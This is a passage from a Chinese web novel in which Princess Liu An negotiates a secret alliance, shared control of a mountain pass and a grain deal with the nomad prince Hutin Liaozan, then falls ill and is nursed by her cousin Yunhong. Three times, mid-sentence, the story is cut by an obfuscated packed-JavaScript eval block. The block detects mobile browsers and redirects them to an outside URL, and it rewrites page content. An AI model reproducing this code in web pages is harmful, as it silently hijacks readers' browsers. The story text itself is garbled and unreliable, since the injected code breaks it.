“昶儿——”刘安喊住刘昶,道:“你是不是还想问,待见到呼廷聊赞之后,我该如何能劝他为我们开路让道?放诚王与布拉古交锋呢?” 刘昶点点头。 刘安笑道:“别别山的布拉古把持着大权,如今呼廷聊赞被我们的北征牵制,腾不出手来对付布拉古,只能眼睁睁地看着,眼睁睁睁地看着布拉古当上大单于。” “而北部的塔塔娜尔又虎视眈眈,意欲自立。” “呼廷聊赞为了单于之位,为了他们胡人不分崩离析,才会不得不与我们联手,不得不借我们的力。” “否则,单凭他一小股溃军,连我们的北征军都打不过,又谈何能与布拉古相抗衡呢?” 刘昶思忖片刻,觉得在理。 他率军与呼廷聊赞交锋多次,对呼廷聊赞的实力有所把握,如若不是他中了陷阱,也不会失踪多日,也不会让呼廷聊赞抓住机会。 不过呼廷聊赞小胜几场,而今金中堂顶了他的缺,去了边境,从金中堂手里,胡人可讨不到半分优势。 “再者,只怕他也没法拒绝千担粮食。”话刚说出口,便见着刘昶眼中流露出震惊之色,刘安一笑,继续道:“今年的冬天格外的冷,我们又发动了场战事,只怕胡人并不好过。” “为彰显我们合作的诚意,送他千担粮食,助他度过寒冬,又有何妨?” “只怕……”刘昶担忧道:“只怕会养虎为患,还望姐姐三思。” 刘昶的担心不无道理,可刘安心中自有算计。 刘安取来有些发凉的手炉,两手紧紧捂在暖炉上,向刘昶解释道:“我这么做,是有些冒险,不过确实是个一箭双雕的好计谋。一来可消耗诚王与布拉古,来日无论是将栾南的权力收归朝廷,还是与胡人抗衡,我们皆占优势,二来,也是为了彰州。” “彰州?”刘昶脑子一转,问道:“姐姐想顺道收复彰州?” “对,彰州原十五城,多年前割让了十座与胡人,连带着走马关也一并落入胡人手中。走马关,连通的可是别别山东西两边的,若没这走马关,只怕胡人东西两片部落还联系不到一起呢。” “据我所知,这十座城池,不全在呼廷聊赞的部落手里。” 刘昶道:“姐姐说得是,我们此来便是从走马关来的,走马关一半归呼廷聊赞、布拉古他们管,一半则是由塔塔娜尔掌管。” “是啊,呼廷聊赞的部落与塔塔娜尔的部落平分了这十座城池,也平分了走马关,如今若要收回彰州十城,便要依次从呼廷聊赞与塔塔娜尔手里换回来。” “天下熙攘,皆为了个‘利’字。若是没有利益可图,他又何必与我们联手呢?又怎会愿意让出一半的关隘呢?” “只是风险也便在这儿,我们得分别与呼廷聊赞、与塔塔娜尔谈,绝不能让他们互相知道、互相通气。” “此事你知,我知,六弟知,再无第四人知晓。” 刘昶瞬间明了,为何会在走马关遇到六弟刘赞,为何刘赞会同塔塔娜尔一同入境,为何刘赞会让他们带着呼廷聊赞先行一步从而与塔塔娜尔错开。 刘昶允诺道:“姐姐放心。” “那千担粮食,便是我们允诺给他的利。”刘安话锋一转,“不过也不必担心,那粮食不过是在他手上过一遍,待到收回彰州十城,待到我朝将士们养兵蓄锐后,都终将是我们的。” 刘昶甚是赞同地点点头:“好,便按着姐姐的谋划来。” “我这就带呼廷聊赞来见姐姐。” 刘安扯了扯身上的大氅,走下床,高喊一声: “莲音!梳妆!” 144. 强势回宫(四)共治关隘 “阿宁?” 刘昶去将呼廷聊赞带来见刘安,才到公主府的前院,谁知刘宁并未走远,就站在那两三株的红梅树下,莲亭也陪在刘宁身边,两个人有说有笑的。 莲亭见刘昶走近,识趣地退到一旁廊下。 刘宁则是背过身去,盯着树上的红色花朵发呆。 刘昶走到刘宁身后,斟酌再三,开口道:“阿宁,你都来到大姐姐的府邸了,与大姐姐仅一门之隔,怎么……怎么跑到这里来了?” 刘宁闷哼一声,并未理会刘昶。 刘昶垂着头,用脚划拉了下脚边的雪,想了半天,正准备再劝上一两句,刘宁突然开口: “莲亭,过来!” 莲亭应声,小跑着过来。 刘宁折下一枝开得最好的梅花,没有多说什么,递给莲亭后转身便走了。 “阿宁!” 刘昶喊了一声,但也无可奈何,只能由着刘宁去了。 莲亭怯怯抬头,看了眼刘昶,与刘昶四目相对。 “好看的。”刘昶看向莲亭手里的红梅,道:“莲亭,宁乐殿下待你如何?” “好,很好的。”莲亭猛猛点头,回道:“从前每次遇着宁乐殿下,她总是给我糖吃,还给我带好玩的。” 说着,莲亭笑着摸了摸一直被她攥在手心里的指环。 “刘昶点点头,“嗯”了一声,注意到了那个指环。 “这是她给你的吗?”刘昶眼眸微眯,看着像是呼廷聊赞那只鹰的脚环。 莲亭点点头。 “收好。”刘昶叮嘱一声,笑道:“这个可大有来历,待会我将呼廷聊赞提来,可别被他发现了指环。” “好。” “外面冷,快进屋暖和会儿吧,把花带进去。”刘昶语气温柔。 “好。”莲亭举着花,蹦蹦跳跳地跑回屋内。 “回来!”莲房一把拽住想往里屋直冲的莲亭,斥道:“别把外面的寒气带给殿下!” 莲房把莲亭带到炭火旁,瞥见莲亭手里开得正艳的红梅,问道:“哪儿来的花儿?是院子里的吗?” “这是宁乐殿下折的,送给咱们殿下的,宁乐殿下挑了好久呢。”莲亭笑得眼睛眯起来,举着梅花凑到莲房鼻尖下,“你闻,好闻吧?” “宁乐殿下真是有心了。”莲房轻嗅一下,笑道:“今早儿殿下还惦记院里的那几株红梅呢!还差遣钱衡量去折一枝放在屋里呢!” “我记得柜子里有个白瓷瓶,高高瘦瘦的一个,用来放这枝梅花刚好。” “我去找!”钱衡量揽下这事,转身去柜子里翻找。 “找到后摆在书房吧。”刘安穿戴整齐,由莲音扶着,从里屋走来,脸上已无半分方才的病弱之色。 莲房忙道:“殿下,书房正在暖着呢。” “狂风烈雪压不过……”刘安伸出手指,轻轻碰了下枝丫上开得红艳的花朵,喃喃道:“凌霜傲雪见清姿。” “找到了!莲房姐姐,可是这个瓶子?”钱衡量举着白瓷瓶跑来。 “正是呢。” “摆在书桌上吧,我要日日看着。”刘安紧紧盯着红梅。 恰此时,刘昶带着呼廷聊赞来了。 只见刘昶身后跟着一个身材高大得像堵墙一样的男子,面露凶光,看着就凶神恶煞。 呼廷聊赞一个眼神扫过,围着的几人不由得打了个寒颤。 莲亭更是吓得悄悄挪到莲音身后,只敢探出一只眼睛偷偷打量,还将那枚鹰脚环攥得更紧了,心里不由得对刘宁生出更多敬佩。 这样凶恶的一个人,宁乐殿下竟将他的鹰猎了下来,还将他活捉了,真是了不起! 刘昶看向眼呼廷聊赞,道:“呼廷王子,这边请——” 呼廷聊赞扫了一眼刘昶,甚是轻蔑,自他抵达大江京城以来,他便猜到了刘昶的目的。 “大姐姐,呼廷王子到了。” 呼廷聊赞阔步走入书房,见到了正端坐等候他的刘安。 只见刘安五官姣好,仪态端庄,面色不怒自威,颇有气度。 呼廷聊赞心中了然,想来这便是刘昶口中的大姐姐,大江的抚政公主吧。 刘安见到呼廷聊赞,眼底闪过一瞬的惊慌,她没想到,呼廷聊赞竟如头凶猛的野兽一般,充满侵略性。 刘安稳了稳心神,淡然笑道:“呼廷王子远道而来,有失远迎啊!” 呼廷聊赞环视一周,寻了把椅子,把椅子搬到与刘安面对面的位置,自顾自坐下,翘起二郎腿,歪头看向刘安: “你便是抚政公主吧?久闻大名,失敬,失敬!” 见着呼廷聊赞的无礼举动,刘昶眉头微蹙,可又不好多说什么,毕竟,他们将呼廷聊赞掳来大江,过程也不是十分有礼。 “一路招待可好?”刘安客套道。 呼廷聊赞意味深长地瞥了眼刘昶一眼,轻笑一声:“甚好。若是再有美酒相伴,只会更受用些。”说罢,呼廷聊赞爽朗几声大笑。 刘安也附和着一笑。 “昶儿,为呼廷王子备上美酒佳肴!”刘安道。 眼看着大姐姐要支开自己,刘昶有些担忧,看了眼刘安身旁的莲音。 莲音也同样担忧,这呼廷聊赞看着就凶神恶煞的,只怕…… 莲音斟了一杯茶,笑着劝道:“殿下,不如让奴去吧。” 刘安斜了眼莲音,道:“你与定北王同去。” “去吧。” 刘昶与莲音被支开,整个书房仅剩下呼廷聊赞与刘安两人。 一个是身体健硕、凶神恶煞,另一个则是强撑着精神、强撑着病体。 “千里迢迢把我带到公主面前,不知公主何意啊?”呼廷聊赞试探道。 书房内的炭火烧得旺,呼廷聊赞又是个体格强壮的,更觉闷热异常。 呼廷聊赞心中不屑,到底是娇生惯养的大江人,这点严寒就受不了。 他下意识扯了下衣服,松了衣领。 刘安皱了皱眉头,面上闪过丝不悦,很快又恢复如常。 “呼廷王子耳聪目明,难道猜不透吗?”刘安并未明说。 呼廷聊赞一笑:“说来也怪,若是要谈,何故要发动一场战事呢?于你们大江,于我们,都不利。” “我大江国富民强、兵强马壮,不过一场小小战事。”刘安盯着呼廷聊赞,道:“如若不然,王子怎会心甘情愿站在我面前呢?” “公主野心不小,你们大江的军营都已扎根在了永河以北的草原了。”呼廷聊赞冷哼一声,白了刘安一眼。 正如刘安所说,大江兵强马壮,草原的军权都在叔父布拉古手里,他的部落已无暇招架。 呼廷聊赞又暗戳戳道:“两国的边市开放不过一年有余,公主便这般不讲诚信,执意要撕毁双方的条约吗?” “诚信?”刘安反问一句,道:“既然王子提到诚信,那我便不得不问王子一句,当初我们签订的互通边市的条约上都说了什么?” “条约冗长,我又怎能一条一条都记住?公主未免强人所难了。”呼廷聊赞道。 “王子不光与朝廷明面上有贸易,私底下与旁人的往来……只怕也不少。”刘安挑眉,“难道要我将全都挑明了说吗?” “明明是王子背信弃义在先。” 呼廷聊赞脸上闪过一瞬的慌乱。与栾南诚王之间的交易隐秘,刘安又是如何知道的呢? 父汗在位时,确实与诚王暗中有着交易,交易的物资有粮食、布料、矿石、马匹等物。 呼廷聊赞还想再辩上两句,但只怕刘安将话说破,那才真是落了下风。 只是如今父汗病危,叔父布拉古把持汗庭,将他驱逐到边境,与诚王往来一事,便不再过他的手了,诚王换来的粮食等物,也再没他的份了。 呼廷聊赞眼珠一转,当即将所有事都推到了叔父布拉古头上,反正,说的也是事实,又没冤了他。 再者,若是能借大江人的手除掉布拉古,也是好的。 “公主着实冤枉了我,违背两国条约,私下进行交易的并非是我。”呼廷聊赞拱手道。 “我就说呢,王子看着面相敦厚,定然不会行此奸诈之事。”刘安客套道。 呼廷聊赞再作一揖:“公主说的是。” “王子沿途走来,想必享尽我大江美食,看惯百姓安居乐业,不知王子以为,我大江风貌如何啊?”刘安自信满满。 呼廷聊赞又是一声哼,虽说不服气,但也不得不服。 正值寒冬,沿途数州,大江百姓无一忍饥挨饿受冻之人。 “公主治国有方,佩服。”呼廷聊赞口是心非。 刘安挑眉,点点头:“听闻草原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274341|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水土肥沃,若是将高产的种子撒在土里,定会不输我大江,王子以为如何?” 呼廷聊赞一愣,有些摸不着头脑:“公主此话何意?” “以千担粮食,换两国数十余年的安稳,不知王子以为可否划算?”刘安微微皱眉,压了压喉咙里涌上来的血腥,开门见山道。 “哦?”呼廷聊赞简短回应。 刘安道:“不过我有一条件,两国边界重新划分,就以我军现在的驻扎地为两国新的边界。” “不行!”呼廷聊赞想都不想便拒绝了。 简直开玩笑!如今大江军队占据的全是他的地盘,全割给大江,他又该去哪儿呢? 岂不是将茫茫草原都拱手让与布拉古? “公主这是要置我于死地啊!”呼廷聊赞一拳头捶在书桌上。 坚硬的桌面上隐隐列出一道纹来。 刘安眼皮疯狂眨动数下,心中一惊,仍一副岿然不动的姿态:“那王子以为如何?” 呼廷聊赞思虑片刻,道:“既然公主以粮食交换,那便以物易物,我拿出矿石来,公主以为如何?” 刘安掩嘴笑了数声:“如今王子落在我手上,还有同我讨价还价的资格吗?” 呼廷聊赞面色一冷,嘴角抽搐,眼中流露出凶光:“如今只你我二人,公主又是这般的弱不禁风。公主以为?” 说着,呼廷聊赞举起自己的双手,细细观摩道:“我这双手,不知拧断了多少牛羊的脖子,公主可要一试?” “我只不过是一抚政公主,又不是我朝君主,王子倒也不必大动干戈。”刘安笑笑。 呼廷聊赞道:“那我便提着公主的头颅去见你们大江的君主。” 刘安一声叹气,而后摇摇头:“只是可惜,王子年轻有为,本可大有一番作为,若此时贸然动手,只怕高兴的另有其人,不如坐下来再好好谈谈。” “哼。”呼廷聊赞转身坐在椅子上,“公主想要什么直说便是。” 刘安循循善诱::“倒也不是我非要如今占下来的地界,只是那可是前往别别山的最好走的一条路,无论是我送你粮食,还是你送我矿石,都要从那里走,不是吗?” 呼廷聊赞险些脱口而出,其实他们与栾南之间,也有一条道。 刘安道:“不要地也可以,不过王子得修一条大道,要笔直挺阔,再加上永河上的一座大桥,要经久不塌,并且,修的这条路、这座桥,归我朝所有。” “不可能!”呼廷聊赞斩钉截铁道。 修路修桥劳民伤财,他哪里有人力、物力去搞?布拉古随时有可能趁虚而入。 更何况修好之后还要拱手送与大江,傻子都不会做的事! 刘安脸上带了些愠怒:“这也不行那也不行,王子是来诚心与我和谈的吗?若是不是诚心,那便请回!我大江的铁骑,必将无往不利!” “公主息怒。”呼廷聊赞开始打圆场道:“不就是要一条运送物资的路吗?眼下不就正有一现成的吗?何必劳民伤财的去重新修路、修桥呢?” “什么意思?”刘安眉头微蹙。 “别别山下的走马关啊,不就是现成的路吗?”呼廷聊赞笑道。 “走马关……”刘安垂眼,喃喃念了一声。 这下轮到刘安说不了:“不行!” “走马关在你们手里,哪天你们封了路锁了关,我大江岂不是任凭你宰割?” “要想我从走马关过,做梦!” 呼廷聊赞双手一摊,作出无可奈何的样子:“可就只有那一条路可以走。那还是能最快到别别山的路呢。” 刘安一手撑额,一手则是在桌面上轻轻叩击,同时嘴里轻轻重复着:“走马关……走马关……” 屋内很静,静得能听到刘安的指节在桌面上的叩击声,静得能听到刘安逐渐加重的呼吸声。 “不如公主再好好想想?”呼廷聊赞站起身,趁着刘安思索之际,肆意地打量起刘安书房里的陈设。 四下看去,无非是些书本、笔墨等物。 若说有趣的,便是墙上悬挂的那一张弓,与书房的布置格格不入。 还有桌上摆放的一枝红梅,细闻还有股香味。 刘安瞥了眼呼廷聊赞触碰到梅花的手,冷眼道:“那便依王子所言,不过——” “我要与你们共治走马关!” 145. 强势回宫(五)以身入局 “共治?”呼廷聊赞皱眉看向刘安,“何为共治?” 刘安看向呼廷聊赞:“我彰州原十五城,割了十座与你们,走马关便在其中,若是王子有心,不妨让一半与我。” “哈哈哈哈——”呼廷聊赞大笑几声,“我纠正公主一句,那十座城池,不是割让,而是租借,是你们租给了我们。” “租期未到,怎么?公主要毁约背义吗?”呼廷聊赞上前一步,对上刘安的眼睛。 刘安忍不住翻了个白眼。 租借?说得可真好听。 刘安嘴角一撇,借着这个白眼避开呼廷聊赞直勾勾的眼神。 “此一时,彼一时。”刘安深吸一口气,调整好情绪,转而直视呼廷聊赞,嘴唇轻启:“王子若能想明白,那咱们之间还有得谈,若是钻了牛角尖,以后的事儿,谁也说不准。” 呼廷聊赞冷哼一声。 刘安轻笑一声:“我也不明白,王子在担心什么?不是还有一半的关卡在你们手中吗?” 呼廷聊赞又是一声冷哼,紧接着摇摇头道:“公主不懂,若是十座城池全在我手里,即便是全赠与公主那又有何妨?” 刘安一滞,颇有些不信地回看呼廷聊赞一眼。 呼廷聊赞挑眉,脸又凑近刘安一寸,言语轻挑:“江山赠美人,我心悦之。” 刘安脸色一凛,瞪向呼廷聊赞。 “哈哈哈哈哈哈——”呼廷聊赞大笑几声,毫不见外地取来刘安桌上的一册书,认真看了一页,自顾自道: “只是如今,塔塔娜尔部便分走了五座。在公主眼里,塔塔娜尔与我们同为外族,可到底不是一家。” 呼廷聊赞自然察觉到刘安的神情,察觉到刘安的怒,可那又怎样呢? 呼廷聊赞依靠着桌子,手里的书又翻了一页,看得津津有味。 “怎么?王子竟没半点野心?”刘安收回眼神,道,“竟甘愿自己的领土四分五裂?” 刘安站起身,抽走呼廷聊赞手里的书,稳稳坐下,“王子在担心什么?是担心粮?还是钱?” 呼廷聊赞一顿,脑袋一侧,偏向刘安。 刘安道:“无论什么,我大江都多的是,那千担的粮食,便是事成的定礼,待到王子荣登汗位,我大江更会奉上数倍。” 呼廷聊赞没想到刘安竟这般相信他的能力,相信他能一统疆域的能力,旋即大笑数声。 “公主慧眼识人,竟能看穿我心中所想,实在钦佩不已。” “好。”呼廷聊赞当即拍板:“那便如公主所愿。” 呼廷聊赞喜不自胜,欣然接受刘安的条件。 有了大江做他的后援,什么布拉古,什么塔塔娜尔,统统都是他的阶下囚。 待他登上汗位,这些人一个也跑不掉。就连这大江,就连面前这刘安,也逃不掉。 属于他的帝国,终将来临。 呼廷聊赞嘴角逐渐勾起,眼睛直勾勾地盯着刘安,眼里赤裸裸的欲望毫不掩饰。 刘安迎上呼廷聊赞的眼神,强忍着心中的情绪,依旧面上带笑,拍拍手,命莲音、刘昶搬来美酒。 满满一壶的佳酿。 莲音取来小酒杯,为呼廷聊赞、刘安分别斟满一杯。 莲音将酒杯端给呼廷聊赞,刘昶端着酒杯凑到刘安面前,低声道:“姐姐,这杯我代你吧。” 刘安瞥了眼酒杯,份量并不大,又见呼廷聊赞也目不转睛地盯着她的杯子,拒绝道:“不必。” 刘安站起身,举杯对着呼廷聊赞:“请。”说罢,一饮而尽。 呼廷聊赞也将杯中的酒饮尽。 “好酒!” 呼廷聊赞大喝一声,不愧是大江的公主皇帝喝的美酒,果真味道极好。 然还觉不过瘾,呼廷聊赞大叫道:“可还有美酒?悉数搬来!记得再配上两个大碗,大口喝酒,那才叫过瘾!” 刘昶面色不悦,拦道:“美酒虽好,可别贪杯。若是豪饮许多,同牛饮有何区别?” 呼廷聊赞将手中的酒杯往身后随手一掷。 酒杯碎裂,屋内屋外诸人皆是提上一口气。 刘昶眼睛微眯,手已悄然摸上腰间佩剑的剑柄。 呼廷聊赞不以为意,笑道:“定北王,不过是喝你家一坛子酒,别这么小气。” 说完,眼神瞟向刘安:“你姐姐还没说什么呢!” 刘昶胸中憋着一口气,看向刘安,握着剑柄的手又加了几分力道。 莲音端起酒壶,拇指拨了下壶身上的珠子,已悄然按动壶身上的开关,忙站在几人中间,搭话道:“王子,定北王殿下说得是,美酒虽好,可不要贪杯,既然王子觉得杯子小,不如换个大点的杯子如何?” 说着,莲音看向桌上的茶盏,快步走到桌前,将酒壶轻轻放在桌上,又端起茶盏,还剩半杯的茶水。 莲音捧着茶盏看了一圈,看到桌上盛梅的白瓷瓶,快步走到瓷瓶前,将盏中的茶水悉数倒入白瓷瓶中,接着又斟满一杯,递给刘安。 盏中清冽如水。 莲音看了刘安一眼,再次按动壶身上的机关,转身,又为呼廷聊赞斟满一茶盏的酒。 呼廷聊赞看都不看一眼,将茶盏摔在地上,甚至连刘安手里的茶盏,也夺过摔在地上。 刘安虽惊虽恼,却一步也未曾退,冷眼看着呼廷聊赞。 茶盏就碎在刘安桌前,碎瓷片崩在刘安脚边,水溅湿了刘安的鞋面。 “你!” 刘昶气得将佩剑拔出一截,然又顾及贸然动手会坏了刘安的谋划,又怕等会儿的打斗会伤到刘安,只能紧紧盯着呼廷聊赞的一举一动。 呼廷聊赞不以为意:“公主,若依我们的风俗,需得喝上满满一大碗的酒,酒喝多少,便有多少的诚意。” 刘安看向莲音,轻轻点头同意,莲房忙又将一坛酒搬来,还精心选了两个只比酒杯大一点的碗来。 呼廷聊赞抱起酒坛,一一斟满,分别递给刘昶、刘安两人,反客为主道:“今日我们便以酒为誓。” “请吧。” 满得都溢出的两大碗酒。 刘昶自是不怕,只是…… 刘昶眼神不自觉地飘向刘安。 “公主且看好,我呼廷聊赞的诚意,犹如此坛酒水。”呼廷聊赞单手拎起酒坛,一口气喝干,而后又将坛子摔在地上,扭头看向刘安:“以此坛为据,若有人背信弃义,便如此坛。” 刘昶迟迟未动,看向刘安,满满的担忧。 刘安喉咙一紧,未多说什么,只是跟着饮尽满满一碗,紧接着将干净的碗底亮给呼廷聊赞看,旋即将碗摔在地上:“若有人背信弃义,便如此杯,粉身碎骨。” 看着刘安喝干净了杯中的酒,莲音与刘昶二人不免为她捏一把汗。 呼廷聊赞看向刘昶,刘昶回了呼廷聊赞一眼,也紧随刘安之后,一饮而尽。 “今日与公主相谈甚欢,实乃人生之幸。”呼廷聊赞见识到刘安的诚心,朝着刘安拱手作了一揖,正色道:“那便请公主下令, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274342|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退兵吧。” 刘安不动声色,双手撑住桌子,点点头:“余下的,便由我七弟与王子详谈吧。” “昶儿,送呼廷王子出境。” 呼廷聊赞看向刘昶:“有劳定北王。” “请。”刘昶冷着张脸,将呼廷聊赞带了出去。 待呼廷聊赞与刘昶两人的影子在窗前晃过,刘安终是撑不住了,一口血喷了出来,人也重重摔在椅子上。 “殿下!”莲音惊得失语,忙去扶刘安。 刘安扬起手,止住莲音的呼喊,手背在嘴边擦过:“小声些,人还没走远。” 关心则乱,莲音声音都带了哭腔,忍不住低声唠叨道:“早知道殿下要喝满满一大碗,我便将府里的大碗都砸碎了。” “呼廷聊赞狡诈多疑,对他,得拿出诚心。”刘安释然笑道,但难掩疲态,上半身的重量全靠在莲音身上,“扶我去歇着吧。” 谁知刘安才站起身,便眼前一黑,没了意识。 “殿下!”莲音死死托住刘安,将书房外候着的几人全喊了进来。 “莲房!莲亭!” 声音急迫。 莲房、莲亭、钱衡量等人急着应声,一进门,只见莲音正勉强撑着刘安摇摇欲坠的身体。 “殿下!” 莲亭道:“快去请宫里去御医来!” 莲音忙制止回道:“不行!殿下强撑着了这么久,若是让宫里、让外头的知道殿下病倒了,还指不定怎么腌臜我们呢!” 莲房急道:“那去药铺里请郎中来总行吧?他们总不至于将全城的郎中都变成眼线吧!” 情况危急,莲音来不及多想:“也行。记得找医术高超的来!” “不妥。”钱衡量拉住莲房,想到当日出宫,身后跟着的尾巴,拦道:“只怕外头还有眼睛盯着呢。” “这也不行那也不行,那该怎么办才好?” “总不能眼睁睁地看着殿下……” 莲房急得直跺脚,忽然想到一人,眼睛瞬间瞪圆: “我有法子了。”说罢,莲房转身便跑了出去。 余下几人合力将刘安抬回寝殿。 不知过了多久,窸窸窣窣的声音吵醒了刘安,刘安只觉得烦躁,想呵斥她们闭嘴,可用尽全身力气,也只有手指能弹动。 “殿下?”是莲音的声音。 紧接着刘安眼皮抽搐一下,眼睛睁开一条缝。 “殿下!”声音由忧转喜,“殿下醒了。” “殿下醒了!”莲音、莲房、莲亭三人围在刘安床头,相拥而泣。 就连站在床尾的钱衡量,也是情难自抑地抱住了床尾的杆子。 “我……这是怎么了?”刘安眼睛渐渐睁大,倚靠在莲音身上,徐徐坐起身来。 钱衡量恰时捧着熬煮好的汤药递过去,莲房接过,小心翼翼吹凉,喂到刘安嘴边。 “我不喝。”刘安脑袋一偏,嘴躲到一边,道:“我只是有点累了,还没病到要喝药的时候呢。” 话刚说完,便是一阵剧烈咳嗽。 莲房无奈,看看莲音,又扭头看向身后。 “我来!” 莲房手里的药被身后伸来的手抢走。 浓烈的药味再次飘过来。 刘安缩在莲音怀里,咳嗽不止,不悦道:“我不是说了吗?我不喝!” “怎么?你连我的药也信不过吗?”云虹提起裙袍,顺势坐在床边,扳着脸,将药碗递到刘安面前,冷冷看着刘安。 146. 强势回宫(六)回护情深 刘安定睛一看,发现竟是云虹,不由得一惊,而后便是一喜:“你……怎么来了?” 又是一阵咳嗽。 “哼,我若不来,你只怕……”云虹停顿,见着刘安咳得五官皱在一起,轻叹一声,没继续再说下去。 云虹,与刘安自幼交好,从小便养在宫里,与刘安同吃同住。 云虹的母亲,是和愿郡主的女儿,若论起来,刘安该称一声姑姑,该称云虹一声表姐。 云虹的父亲,曾是信王府的首领护卫,护送着承道帝入京登基,曾是承道帝信得过的得力干将,只可惜,承道十二年的那场兵败,落得个身首异处。 因为此事,云虹也便离了宫,上山修行。 “我……这是睡了多久?”刘安止住咳嗽,倚在莲音怀里。 莲音拂了拂刘安额前的碎发:“两天三夜。” 刘安又是几声轻咳:“那……北征战事如何了?” “这会儿哪还有功夫管旁的?你且先照料好自己吧。”云虹用药匙搅动了下碗里的药汤,又放在自己嘴边吹了吹,自己先抿了一口,试了试温度,确认不烫后才喂给刘安,板着脸:“喝吧。” “这药是我亲自熬的,你放心。” 有了云虹这句话,刘安乖乖喝下了药。 汤药见底,云虹放下药碗,只见刘安苦着张脸,可怜兮兮道:”苦……“ “哼。你多吃些苦才好呢。” 云虹作出一副凶巴巴的样子,但见刘安一副虚弱的样子,到底是于心不忍,看不得她吃苦受累,从袖中取来一包叠的整齐的纸包,一层层打开,从其中取来一块糖来,递到刘安嘴边。 刘安含住,眉头还是皱的:“还是苦……” 云虹瞪了刘安一眼,无奈,又取来一颗糖,生怕刘安还会吵着要糖吃,便顺手把余下的糖全递给了莲亭,莲亭欢欢喜喜接下。 刘安一个眼神扫过,莲音、莲房等人见有云虹陪着刘安,知趣退下。 刘安笑着握住云虹的手,贴在自己的心口上:“我就知道,云姐姐待我最好了。” “你呀!手怎么这么凉?”云虹恨铁不成钢,抽出手,又是搓手又是呵气,将自己的双手捂热,盖在刘安手上。 又见刘安一副笑嘻嘻的样子,恨恨地点了一下刘安的额头,忍不住唠叨道:“若不是莲房哭着跑到观里去找我,我还不知道你身子已经虚成了这样!” “早知你现在住在公主府,就该早点差人给我报个信儿,我也好来见你,我也好早点为你调理。”云虹吸了吸鼻子,忍下已经涌到喉头的情绪:“何苦拖到现在呢?” “你万不该讳疾忌医啊!”云虹言深意切。 “约莫是……”刘安笑笑,“……怕吧……” 她怕—— 她怕会像母亲与祁娘娘那样,喝了一碗白粥后就一命呜呼。 她怕会像元弟那样,日日喝着所谓的进补的汤药实则却是催命的毒。 她怕! 云虹看了眼刘安,终是无奈地叹了口气。 她俩从小一起长大,满王府、满皇宫里乱跑,两小无猜,刘安心中的担忧,她自是知晓。 云虹反手握紧刘安的手,坚定道:“往后,你的身体便由我来调理,你尽管放心。有我在,保你以后,上得了高头大马,挽得起强弓。” “有你这句话,就够了。”刘安点点头。 “你且先好好休养着,待我去观里取些草药来。”云虹轻轻拍了拍刘安手背,扶着刘安躺下。 刘安抓住云虹的手,笑道:“再多带些糖来,我只要吃你亲手制的,外头买来的我可不要。” 云虹宠溺笑着,拍了拍刘安的手,道:“好好好,都依你!” 云虹告别刘安,出了里屋,对着莲音、莲房等人一一叮嘱。 “云姑娘,我同你一起,一路上也好帮你拎些东西。”莲房听完,忙放下手里的活计,三两步便凑到云虹面前。 云虹扫了一眼几人:“不必了,你们便留在公主府里,好生照顾好你们殿下。” “我去去就回,看好她,万不可让她再劳累。”云虹撂下这句,径直出了门。 才出公主府,云虹便感觉背后有数双眼睛。 云虹眉头微蹙,停下脚步,身后的眼睛也跟着停了脚,云虹微微扭头看了眼,身后的眼睛已经躲好。 就这点招数? 云虹轻笑一声,放缓脚步,待身后的眼睛重新跟上,一个拐角过后,腾越翻上棵树杈,直至身后一直跟着她的那人露出面。 那人跟丢了云虹,研究起地上的脚印来。 脚印在此处便戛然而止,可人却不见了,跟踪的人不免一阵纳罕。 “找什么呢?” 眼见着云虹如同鬼魅般从半空中飘至自己眼前,跟踪的人吓得屁股摔在地上,意识到自己暴露,又忙手脚并用就爬起来跑。 云虹又岂会让他如意?一柄袖剑封死了对方的路。 云虹自信一笑,负手信步上前,扫了一眼那人的五官,抬手便是“唰唰”两下,在那人脸上划了两道。 “说吧,是谁派你来的。” 那人眼睛狂眨,最后一梗脖子:“干我们这行,讲规矩,不能说!” 云虹瞟了那人一眼,若不是她如今还有要紧事,要不然早将这人扭送到安儿面前了。 云虹从手上摸出一个镯子:“你们的规矩我知道,你的命,我买了。” “往后离京城远些!若再让我在京城看见你,便是这里——”说着,云虹比划了下那人的脖子,“我也要划上一道。” 那人犹豫再三,战战兢兢接过镯子。 镯子上嵌着两颗拇指大小闪着光的宝珠。单凭这两颗珠子,就足够他后半生无忧了。 “大侠放心。” 云虹目送着那人没入大街上的人群里,又察觉到身后另外的人渐渐与她拉开了距离,方才远离公主府。 如今她心里只有安儿的病情,至于这些人,待到安儿恢复了,再自行处置吧。 安儿内里早已虚透了,她又不肯让宫里的御医诊治,若不是她身强体壮,哪里还能强撑到今日呢? 该用些什么药呢? 她那里倒是有一棵千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274343|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 